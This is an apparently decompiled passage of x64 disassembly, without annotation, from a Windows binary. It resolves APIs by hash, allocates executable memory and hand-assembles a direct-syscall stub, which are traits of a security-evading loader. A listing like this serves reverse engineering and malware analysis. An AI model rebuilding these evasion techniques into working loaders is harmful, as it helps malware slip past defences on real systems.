mov qword [rsp + 0x55e8], rax
jmp 0x14012dc2b
mov rax, qword [rsp + 0x3d90]
mov rax, qword [rax]
mov qword [rsp + 0x55e8], rax
mov rax, qword [rsp + 0x55e8]
mov qword [rsp + 0x6dc0], rax
mov rax, qword [rsp + 0x3d90]
mov qword [rsp + 0x6dc8], rax
lea rax, [rsp + 0x6dc0]
mov qword [rsp + 0x55f0], rax
lea rdx, [rsp + 0x1278]
mov rcx, qword [rsp + 0x55f0]
call fcn.14018efb0
lea rdx, [rsp + 0x8a68]
mov rcx, qword [rsp + 0x55f0]
call fcn.140190a30
jmp 0x14012dc9a
mov rax, qword [rsp + 0x1278]
mov rax, qword [rax]
mov qword [rsp + 0x1278], rax
mov rax, qword [rsp + 0x8a68]
cmp qword [rsp + 0x1278], rax
je 0x14012dcb9
mov dword [rsp + 0x94c], 1
jmp 0x14012dcc4
mov dword [rsp + 0x94c], 0
movzx eax, byte [rsp + 0x94c]
test eax, eax
je 0x14012e4b9
xor edx, edx
mov rcx, qword [rsp + 0x1278]
call fcn.140096d90
mov qword [rsp + 0x8a70], rax
lea rax, [rsp + 0x8a70]
mov qword [rsp + 0x55f8], rax
xor edx, edx
lea rcx, [rsp + 0x1c28]
call fcn.14009b2f0
lea rdx, [rsp + 0x1c28]
lea rcx, [rsp + 0x950]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x14012df64
mov rax, qword [rsp + 0x55f8]
mov rax, qword [rax]
add rax, 0x58
mov qword [rsp + 0x8a78], rax
lea rdx, [rsp + 0x124d8]
mov rcx, qword [rsp + 0x8a78]
call fcn.14019acf0
lea rcx, [rsp + 0xeaf0]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0x950]
mov dword [rsp + 0x1c2c], eax
lea rax, [rsp + 0xd220]
lea rcx, [rsp + 0xeaf0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0x1c2c]
mov dword [rsp + 0x958], eax
lea rax, [rsp + 0x1c30]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x1c30]
call fcn.14009b310
mov qword [rsp + 0x8a80], rax
lea rax, [rsp + 0xeb00]
lea rcx, [rsp + 0xd220]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xeb10]
lea rcx, [rsp + 0xeb00]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xeb10]
mov rcx, qword [rsp + 0x8a80]
call fcn.140097890
mov dword [rsp + 0x1c38], eax
lea rcx, [rsp + 0xd220]
call fcn.14018df50
sub rax, 4
mov qword [rsp + 0x8a88], rax
mov r9, qword [rsp + 0x8a88]
xor r8d, r8d
lea rdx, [rsp + 0xeb20]
lea rcx, [rsp + 0xd220]
call fcn.14019ab70
lea rax, [rsp + 0x1c34]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x1c34]
call fcn.14009b310
mov qword [rsp + 0x8a90], rax
lea rax, [rsp + 0xeb30]
lea rcx, [rsp + 0xeb20]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xeb40]
lea rcx, [rsp + 0xeb30]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xeb40]
mov rcx, qword [rsp + 0x8a90]
call fcn.140097890
mov dword [rsp + 0x1c40], eax
mov edx, dword [rsp + 0x1c38]
lea rcx, [rsp + 0x1c3c]
call fcn.14009b2f0
lea rdx, [rsp + 0x1c3c]
lea rcx, [rsp + 0x958]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x14012df48
mov edx, dword [rsp + 0x1c40]
lea rcx, [rsp + 0x1c44]
call fcn.14009b2f0
lea rdx, [rsp + 0x1c44]
lea rcx, [rsp + 0x958]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x14012df48
mov dword [rsp + 0x960], 1
jmp 0x14012df53
mov dword [rsp + 0x960], 0
movzx eax, byte [rsp + 0x960]
test eax, eax
je 0x14012df64
jmp 0x14012dc87
mov rax, qword [rsp + 0x55f8]
mov rax, qword [rax]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x5600], rax
mov rax, qword [rsp + 0x5600]
mov qword [rsp + 0x43e8], rax
mov rax, qword [rsp + 0x5600]
mov qword [rsp + 0x8a98], rax
mov rax, qword [rsp + 0x8a98]
mov rcx, rax
call fcn.140097970
add rax, 0x18
mov qword [rsp + 0x8aa0], rax
mov rax, qword [rsp + 0x8aa0]
mov rax, qword [rax + 0x70]
mov qword [rsp + 0x8aa8], rax
mov eax, dword [rsp + 0x8aa8]
add rax, qword [rsp + 0x43e8]
mov qword [rsp + 0x8ab0], rax
mov rax, qword [rsp + 0x8ab0]
mov qword [rsp + 0x43f0], rax
lea rdx, [rsp + 0x968]
lea rcx, [rsp + 0xcfe0]
call fcn.1400986a0
mov r8d, dword [rax]
lea rdx, [rsp + 0x11bd8]
lea rcx, [rsp + 0x43e8]
call fcn.140097040
lea rdx, [rsp + 0x13718]
lea rcx, [rsp + 0x43e8]
call fcn.1401906d0
mov rdx, rax
lea rcx, [rsp + 0x11bd8]
call fcn.1400a2af0
movzx eax, al
test eax, eax
je 0x14012e050
jmp 0x14012dc87
mov eax, reloc.WLDAP32.dll_Ordinal_32
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
and eax, 1
test eax, eax
jne 0x14012e0d3
mov eax, reloc.WLDAP32.dll_Ordinal_32
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
or eax, 1
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov edi, reloc.WLDAP32.dll_Ordinal_32
mov edi, edi
mov rcx, qword [rdx + rcx*8]
mov dword [rdi + rcx], eax
mov eax, 8
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
add rax, qword [rdx + rcx*8]
mov rcx, rax
call fcn.140091670
lea rax, [rsp + 0x11be8]
mov qword [rsp + 0x5608], rax
mov rcx, qword [rsp + 0x5608]
call fcn.140097960
mov qword [rsp + 0xde88], rax
mov rcx, qword [rsp + 0x5608]
call fcn.140097950
mov qword [rsp + 0x3da0], rax
mov rax, qword [rsp + 0x3da0]
mov rax, qword [rax]
mov qword [rsp + 0x5620], rax
mov rax, qword [rsp + 0x43e8]
mov qword [rsp + 0x8ab8], rax
mov rax, qword [rsp + 0x8ab8]
mov rcx, rax
call fcn.140097970
add rax, 0x18
mov qword [rsp + 0x8ac0], rax
mov rax, qword [rsp + 0x8ac0]
mov rax, qword [rax + 0x70]
mov qword [rsp + 0x5610], rax
mov eax, dword [rsp + 0x5610]
add rax, qword [rsp + 0x43e8]
mov qword [rsp + 0x5618], rax
mov eax, dword [rsp + 0x5614]
mov rcx, qword [rsp + 0x5618]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8ac8], rax
mov rax, qword [rsp + 0x5618]
cmp qword [rsp + 0x5620], rax
jb 0x14012e1c5
mov rax, qword [rsp + 0x8ac8]
cmp qword [rsp + 0x5620], rax
jae 0x14012e1c5
mov dword [rsp + 0x970], 1
jmp 0x14012e1d0
mov dword [rsp + 0x970], 0
movzx eax, byte [rsp + 0x970]
mov byte [rsp + 0xe5], al
movzx eax, byte [rsp + 0xe5]
test eax, eax
je 0x14012e49f
mov rax, qword [rsp + 0x3da0]
mov rax, qword [rax]
mov qword [rsp + 0x8ad0], rax
mov rax, qword [rsp + 0x8ad0]
mov qword [rsp + 0x8ad8], rax
lea rax, [rsp + 0x124e8]
mov qword [rsp + 0x8ae0], rax
mov rdx, qword [rsp + 0x8ad8]
mov rcx, qword [rsp + 0x8ae0]
call fcn.140095590
lea rcx, [rsp + 0x6dd0]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
xor r8d, r8d
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rsp + 0x6dd0]
call fcn.140191090
mov qword [rsp + 0x3d98], rax
cmp qword [rsp + 0x3d98], 0xffffffffffffffff
je 0x14012e2da
mov r9, qword [rsp + 0x3d98]
xor r8d, r8d
lea rdx, [rsp + 0xeb60]
lea rcx, [rsp + 0x6dd0]
call fcn.14019aaa0
mov rax, qword [rsp + 0x3d98]
inc rax
mov r9, 0xffffffffffffffff
mov r8, rax
lea rdx, [rsp + 0xeb50]
lea rcx, [rsp + 0x6dd0]
call fcn.14019aaa0
lea r8, [rsp + 0xeb50]
lea rdx, [rsp + 0xeb60]
lea rcx, [rsp + 0x11090]
call fcn.14008f7e0
jmp 0x14012e315
lea rax, [rsp + 0x6dd0]
mov qword [rsp + 0x8ae8], rax
lea rcx, [rsp + 0xeb70]
call fcn.140099fb0
lea r8, [rsp + 0xeb70]
mov rdx, qword [rsp + 0x8ae8]
lea rcx, [rsp + 0x11090]
call fcn.14008f7e0
nop
lea rcx, [rsp + 0x11090]
call fcn.140097960
mov qword [rsp + 0x8af0], rax
lea rcx, [rsp + 0x11090]
call fcn.140097950
mov qword [rsp + 0x8b08], rax
lea rax, [rsp + 0xcfe4]
mov qword [rsp + 0x8b00], rax
lea rax, [rsp + 0x1c48]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x1c48]
call fcn.14009b310
mov qword [rsp + 0x8af8], rax
lea rax, [rsp + 0xeb80]
mov rdi, rax
mov rsi, qword [rsp + 0x8af0]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xeb90]
lea rcx, [rsp + 0xeb80]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xeb90]
mov rcx, qword [rsp + 0x8af8]
call fcn.1400977d0
mov edx, eax
mov rcx, qword [rsp + 0x8b00]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x1c50], eax
lea rax, [rsp + 0xcfe8]
mov qword [rsp + 0x8b18], rax
lea rax, [rsp + 0x1c4c]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x1c4c]
call fcn.14009b310
mov qword [rsp + 0x8b10], rax
lea rax, [rsp + 0xeba0]
mov rdi, rax
mov rsi, qword [rsp + 0x8b08]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xebb0]
lea rcx, [rsp + 0xeba0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xebb0]
mov rcx, qword [rsp + 0x8b10]
call fcn.1400977d0
mov edx, eax
mov rcx, qword [rsp + 0x8b18]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x1c54], eax
mov r8d, dword [rsp + 0x1c50]
mov edx, dword [rsp + 0x1c54]
lea rcx, [rsp + 0x3da8]
call fcn.140191150
mov qword [rsp + 0x1280], rax
jmp 0x14012e4c5
mov rax, qword [rsp + 0x3da0]
mov rax, qword [rax]
mov qword [rsp + 0x1280], rax
jmp 0x14012e4c5
mov qword [rsp + 0x1280], 0
mov rax, qword [rsp + 0x1280]
mov qword [rsp + 0x3da8], rax
lea rcx, [rsp + 0x3da8]
call fcn.1400a2c10
mov qword [rsp + 0x8b20], rax
mov eax, dword [rsp + 0x63e8]
mov dword [rsp + 0x1c58], eax
mov rax, qword [rsp + 0x8b20]
mov qword [rsp + 0x8b28], rax
mov eax, dword [rsp + 0x1c58]
mov dword [rsp + 0x1c60], eax
lea rax, [0x1404d0cf0]
mov rdx, rax
lea rcx, [rsp + 0xebc0]
call fcn.14009a190
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0x8b30], rax
lea r9, [rsp + 0x8b28]
lea r8, [rsp + 0x1c60]
lea rdx, [rsp + 0x124f8]
mov rcx, qword [rsp + 0x8b30]
call fcn.140098320
lea rcx, [rsp + 0xebc0]
call fcn.1400a0f80
lea rcx, [rsp + 0x3da8]
call fcn.1400a2c10
mov qword [rsp + 0x8b38], rax
mov rax, qword [rsp + 0x8b38]
mov eax, dword [rax + 4]
mov dword [rsp + 0x1c68], eax
mov eax, dword [rsp + 0x1c68]
mov dword [rsp + 0x63ec], eax
lea rax, [rsp + 0x63f0]
mov qword [rsp + 0x8b40], rax
mov eax, dword [rsp + 0x63ec]
mov dword [rsp + 0x1c70], eax
mov rax, qword [rsp + 0x8b40]
add rax, 0x11
mov qword [rsp + 0x8b48], rax
mov eax, 6
mov edx, eax
mov rcx, qword [rsp + 0x8b48]
call fcn.1400a2b40
mov ecx, dword [rsp + 0x1c70]
mov dword [rax], ecx
lea rax, [rsp + 0x63f0]
mov qword [rsp + 0x5c8], rax
mov rax, qword [rsp + 0x5c8]
add rax, 0x10
mov qword [rsp + 0xde90], rax
mov rax, qword [0x1404d0cd8]
mov qword [rsp + 0x8b50], rax
mov qword [rsp + 0x5628], 0
mov qword [rsp + 0x8b58], 0xd
mov rax, qword [rsp + 0x8b50]
mov qword [rsp + 0x8b60], rax
mov eax, 0x3000
and eax, 0xffffffc0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], eax
lea r9, [rsp + 0x8b58]
xor r8d, r8d
lea rdx, [rsp + 0x5628]
mov rcx, 0xffffffffffffffff
call qword [rsp + 0x8b60]
mov dword [rsp + 0x1c78], eax
cmp dword [rsp + 0x1c78], 0
jl 0x14012e6a9
mov rax, qword [rsp + 0x5628]
mov qword [rsp + 0x5630], rax
jmp 0x14012e6b5
mov qword [rsp + 0x5630], 0
mov rax, qword [rsp + 0x5630]
mov qword [rsp + 0x8b68], rax
mov rax, qword [rsp + 0x5c8]
mov rcx, qword [rsp + 0x8b68]
mov qword [rax + 8], rcx
mov rax, qword [rsp + 0x5c8]
cmp qword [rax + 8], 0
jne 0x14012e6ea
jmp 0x14012e72e
mov rax, qword [rsp + 0x5c8]
add rax, 0x11
mov rcx, rax
call fcn.140097960
mov rcx, qword [rsp + 0x5c8]
mov rcx, qword [rcx + 8]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_listen
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x5c8]
mov rcx, qword [rsp + 0x5c8]
mov rcx, qword [rcx + 8]
mov qword [rax], rcx
mov rax, qword [rsp + 0x63f0]
mov qword [rsp + 0x8bc0], rax
mov rax, qword [rsp + 0x8b70]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x8b78]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x8b80]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x8b88]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x8b90]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x8b98]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x8ba0]
mov r8, qword [rsp + 0x8ba8]
mov rdx, qword [rsp + 0x8bb0]
mov rcx, qword [rsp + 0x8bb8]
call qword [rsp + 0x8bc0]
mov dword [rsp + 0x1c7c], eax
lea rcx, [rsp + 0x63e8]
call fcn.1400a0ed0
mov eax, dword [rsp + 0x1c7c]
mov dword [rsp + 0x1c80], eax
cmp dword [rsp + 0x1c80], 0
jge 0x14012e7e6
mov byte [rsp + 0x7c], 0
jmp 0x14012e7eb
mov byte [rsp + 0x7c], 1
movzx eax, byte [rsp + 0x7c]
test eax, eax
je 0x14012e7ff
cmp qword [rsp + 0x5f0], 0
jne 0x14012e80c
mov dword [rsp + 0x74], 0
jmp 0x1401344d1
mov qword [rsp + 0x3dd0], 0
lea rax, [rsp + 0x3dd0]
mov qword [rsp + 0x5640], rax
mov rax, qword [rsp + 0x720]
add rax, 0x20
mov qword [rsp + 0x5638], rax
mov rax, qword [rsp + 0x170]
mov qword [rsp + 0x8c08], rax
cmp qword [rsp + 0x5640], 0
je 0x14012e86a
cmp qword [rsp + 0x5638], 0
je 0x14012e86a
xor eax, eax
cmp rax, 8
jne 0x14012e874
mov byte [rsp + 0x7d], 0
jmp 0x14012f9cd
lea rax, [rsp + 0xd868]
mov rdi, rax
xor eax, eax
mov ecx, Ordinal_41
rep stosb byte [rdi], al
mov qword [rsp + 0xd868], 0x33
mov rax, qword [rsp + 0x5638]
mov qword [rsp + 0xd878], rax
mov rax, qword [rsp + 0x5640]
mov qword [rsp + 0xd880], rax
mov qword [rsp + 0xd888], 8
mov dword [rsp + 0x1cc4], 0
mov qword [rsp + 0x8bd0], 0
mov qword [rsp + 0x8bd8], 0x28
lea rax, [rsp + 0xd868]
mov qword [rsp + 0x8be0], rax
lea rax, [rsp + 0x12508]
mov qword [rsp + 0x8be8], rax
mov qword [rsp + 0x8bf0], 0
mov qword [rsp + 0x8bf8], 0
mov qword [rsp + 0x8c00], 0
mov dword [rsp + 0x1c84], 0x9363e455
mov eax, dword [rsp + 0x1c84]
mov dword [rsp + 0x1c88], eax
lea rcx, [rsp + 0x1c88]
call fcn.1400a2c20
mov dword [rsp + 0x6410], eax
mov dword [rsp + 0x6414], 0
lea rax, [rsp + 0x6418]
mov qword [rsp + 0x8bc8], rax
mov dword [rsp + 0x1cc0], 0x49
mov dword [rsp + 0x1cbc], 0x89
mov dword [rsp + 0x1cb8], 0xca
mov dword [rsp + 0x1cb4], 0x48
mov dword [rsp + 0x1cb0], 0xc7
mov dword [rsp + 0x1cac], 0xc0
mov dword [rsp + 0x1ca8], 0x3f
mov dword [rsp + 0x1ca4], 0x10
mov dword [rsp + 0x1ca0], 0
mov dword [rsp + 0x1c9c], 0
mov dword [rsp + 0x1c98], 0xf
mov dword [rsp + 0x1c94], 5
mov dword [rsp + 0x1c90], 0xc3
lea rax, [rsp + 0x1c90]
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x1c94]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x1c98]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x1c9c]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x1ca0]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x1ca4]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x1ca8]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x1cac]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x1cb0]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x1cb4]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x1cb8]
lea r8, [rsp + 0x1cbc]
lea rdx, [rsp + 0x1cc0]
mov rcx, qword [rsp + 0x8bc8]
call fcn.14008f900
mov byte [rsp + 0x26b], 1
mov byte [rsp + 0x26c], 0
movsxd rax, dword [rsp + 0x1cc4]
mov qword [rsp + 0x8d40], rax
mov byte [rsp + 0x26d], 0
mov byte [rsp + 0x26e], 0
mov rax, qword [rsp + 0x8bd0]
mov qword [rsp + 0x8d48], rax
mov byte [rsp + 0x26f], 0
mov byte [rsp + 0x270], 1
mov rax, qword [rsp + 0x8bd8]
mov qword [rsp + 0x8d50], rax
mov byte [rsp + 0x271], 0
mov byte [rsp + 0x272], 0
mov rax, qword [rsp + 0x8be0]
mov qword [rsp + 0x8d58], rax
mov byte [rsp + 0x273], 0
mov byte [rsp + 0x274], 1
mov eax, dword [0x1403f9fa8]
mov qword [rsp + 0x8d60], rax
mov byte [rsp + 0x275], 0
mov byte [rsp + 0x276], 0
mov rax, qword [rsp + 0x8be8]
mov qword [rsp + 0x8d68], rax
mov byte [rsp + 0x277], 0
mov byte [rsp + 0x278], 0
mov rax, qword [rsp + 0x8bf0]
mov qword [rsp + 0x8d70], rax
mov byte [rsp + 0x279], 0
mov byte [rsp + 0x27a], 0
mov rax, qword [rsp + 0x8bf8]
mov qword [rsp + 0x8d78], rax
mov byte [rsp + 0x27b], 0
mov byte [rsp + 0x27c], 0
mov rax, qword [rsp + 0x8c00]
mov qword [rsp + 0x8d80], rax
mov byte [rsp + 0x27d], 0
mov byte [rsp + 0x27e], 0
mov rax, qword [rsp + 0x8c08]
mov qword [rsp + 0x8d88], rax
mov eax, dword [rsp + 0x6410]
mov dword [rsp + 0x1cc8], eax
lea rax, [0x1404d0cf0]
mov rdx, rax
lea rcx, [rsp + 0xebd0]
call fcn.14009a050
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0x8c10], rax
lea r8, [rsp + 0x1cc8]
lea rdx, [rsp + 0x5648]
mov rcx, qword [rsp + 0x8c10]
call fcn.140096f50
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0x8c18], rax
lea rdx, [rsp + 0xde98]
mov rcx, qword [rsp + 0x8c18]
call fcn.140190560
mov rdx, rax
lea rcx, [rsp + 0x5648]
call fcn.1400a2a70
movzx eax, al
test eax, eax
je 0x14012ec85
mov qword [rsp + 0x5650], 0
jmp 0x14012ec9e
lea rcx, [rsp + 0x5648]
call fcn.1400a2c30
mov rax, qword [rax + 8]
mov qword [rsp + 0x5650], rax
mov rax, qword [rsp + 0x5650]
mov qword [rsp + 0x8c20], rax
lea rcx, [rsp + 0xebd0]
call fcn.1400a0f10
mov rax, qword [rsp + 0x8c20]
mov qword [rsp + 0x5658], rax
cmp qword [rsp + 0x5658], 0
je 0x14012ecfb
mov rax, qword [rsp + 0x5658]
mov eax, dword [rax + 4]
mov dword [rsp + 0x1cd0], eax
mov eax, dword [rsp + 0x1cd0]
mov dword [rsp + 0x6414], eax
jmp 0x14012f789
lea rax, [rsp + 0xcfec]
mov qword [rsp + 0x8c28], rax
xor edx, edx
mov rcx, qword [rsp + 0x8c28]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x1cd4], eax
lea rax, [rsp + 0xcff0]
mov qword [rsp + 0x8c30], rax
mov edx, dword [rsp + 0x6410]
mov rcx, qword [rsp + 0x8c30]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x1cd8], eax
mov eax, dword [rsp + 0x1cd4]
mov dword [rsp + 0x978], eax
mov eax, dword [rsp + 0x1cd8]
mov dword [rsp + 0x990], eax
xor edx, edx
lea rcx, [rsp + 0x1cdc]
call fcn.14009b2f0
lea rdx, [rsp + 0x1cdc]
lea rcx, [rsp + 0x990]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
je 0x14012eda8
mov qword [rsp + 0x1290], 0
jmp 0x14012f6a7
mov byte [rsp + 0x27f], 1
mov qword [rsp + 0x6de0], 0
mov qword [rsp + 0x6de8], 0
call fcn.1401956d0
add rax, 0x10
mov qword [rsp + 0x3db0], rax
mov eax, 1
test eax, eax
je 0x14012edfa
mov rax, qword [rsp + 0x3db0]
mov rax, qword [rax]
mov rax, qword [rax]
mov qword [rsp + 0x5660], rax
jmp 0x14012ee0d
mov rax, qword [rsp + 0x3db0]
mov rax, qword [rax]
mov qword [rsp + 0x5660], rax
mov rax, qword [rsp + 0x5660]
mov qword [rsp + 0x6de0], rax
mov rax, qword [rsp + 0x3db0]
mov qword [rsp + 0x6de8], rax
lea rax, [rsp + 0x6de0]
mov qword [rsp + 0x5668], rax
lea rdx, [rsp + 0x1288]
mov rcx, qword [rsp + 0x5668]
call fcn.14018efb0
lea rdx, [rsp + 0x8c38]
mov rcx, qword [rsp + 0x5668]
call fcn.140190a30
jmp 0x14012ee7c
mov rax, qword [rsp + 0x1288]
mov rax, qword [rax]
mov qword [rsp + 0x1288], rax
mov rax, qword [rsp + 0x8c38]
cmp qword [rsp + 0x1288], rax
je 0x14012ee9b
mov dword [rsp + 0x974], 1
jmp 0x14012eea6
mov dword [rsp + 0x974], 0
movzx eax, byte [rsp + 0x974]
test eax, eax
je 0x14012f69b
xor edx, edx
mov rcx, qword [rsp + 0x1288]
call fcn.140096d90
mov qword [rsp + 0x8c40], rax
lea rax, [rsp + 0x8c40]
mov qword [rsp + 0x5670], rax
xor edx, edx
lea rcx, [rsp + 0x1ce0]
call fcn.14009b2f0
lea rdx, [rsp + 0x1ce0]
lea rcx, [rsp + 0x978]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x14012f146
mov rax, qword [rsp + 0x5670]
mov rax, qword [rax]
add rax, 0x58
mov qword [rsp + 0x8c48], rax
lea rdx, [rsp + 0x12518]
mov rcx, qword [rsp + 0x8c48]
call fcn.14019acf0
lea rcx, [rsp + 0xebe0]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0x978]
mov dword [rsp + 0x1ce4], eax
lea rax, [rsp + 0xd230]
lea rcx, [rsp + 0xebe0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0x1ce4]
mov dword [rsp + 0x980], eax
lea rax, [rsp + 0x1ce8]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x1ce8]
call fcn.14009b310
mov qword [rsp + 0x8c50], rax
lea rax, [rsp + 0xebf0]
lea rcx, [rsp + 0xd230]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xec00]
lea rcx, [rsp + 0xebf0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xec00]
mov rcx, qword [rsp + 0x8c50]
call fcn.140097890
mov dword [rsp + 0x1cf0], eax
lea rcx, [rsp + 0xd230]
call fcn.14018df50
sub rax, 4
mov qword [rsp + 0x8c58], rax
mov r9, qword [rsp + 0x8c58]
xor r8d, r8d
lea rdx, [rsp + 0xec10]
lea rcx, [rsp + 0xd230]
call fcn.14019ab70
lea rax, [rsp + 0x1cec]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x1cec]
call fcn.14009b310
mov qword [rsp + 0x8c60], rax
lea rax, [rsp + 0xec20]
lea rcx, [rsp + 0xec10]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xec30]
lea rcx, [rsp + 0xec20]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xec30]
mov rcx, qword [rsp + 0x8c60]
call fcn.140097890
mov dword [rsp + 0x1cf8], eax
mov edx, dword [rsp + 0x1cf0]
lea rcx, [rsp + 0x1cf4]
call fcn.14009b2f0
lea rdx, [rsp + 0x1cf4]
lea rcx, [rsp + 0x980]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x14012f12a
mov edx, dword [rsp + 0x1cf8]
lea rcx, [rsp + 0x1cfc]
call fcn.14009b2f0
lea rdx, [rsp + 0x1cfc]
lea rcx, [rsp + 0x980]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x14012f12a
mov dword [rsp + 0x988], 1
jmp 0x14012f135
mov dword [rsp + 0x988], 0
movzx eax, byte [rsp + 0x988]
test eax, eax
je 0x14012f146
jmp 0x14012ee69
mov rax, qword [rsp + 0x5670]
mov rax, qword [rax]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x5678], rax
mov rax, qword [rsp + 0x5678]
mov qword [rsp + 0x43f8], rax
mov rax, qword [rsp + 0x5678]
mov qword [rsp + 0x8c68], rax
mov rax, qword [rsp + 0x8c68]
mov rcx, rax
call fcn.140097970
add rax, 0x18
mov qword [rsp + 0x8c70], rax
mov rax, qword [rsp + 0x8c70]
mov rax, qword [rax + 0x70]
mov qword [rsp + 0x8c78], rax
mov eax, dword [rsp + 0x8c78]
add rax, qword [rsp + 0x43f8]
mov qword [rsp + 0x8c80], rax
mov rax, qword [rsp + 0x8c80]
mov qword [rsp + 0x4400], rax
lea rdx, [rsp + 0x990]
lea rcx, [rsp + 0xcff4]
call fcn.1400986a0
mov r8d, dword [rax]
lea rdx, [rsp + 0x11c00]
lea rcx, [rsp + 0x43f8]
call fcn.140097040
lea rdx, [rsp + 0x13740]
lea rcx, [rsp + 0x43f8]
call fcn.1401906d0
mov rdx, rax
lea rcx, [rsp + 0x11c00]
call fcn.1400a2af0
movzx eax, al
test eax, eax
je 0x14012f232
jmp 0x14012ee69
mov eax, reloc.WLDAP32.dll_Ordinal_32
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
and eax, 1
test eax, eax
jne 0x14012f2b5
mov eax, reloc.WLDAP32.dll_Ordinal_32
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
or eax, 1
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov edi, reloc.WLDAP32.dll_Ordinal_32
mov edi, edi
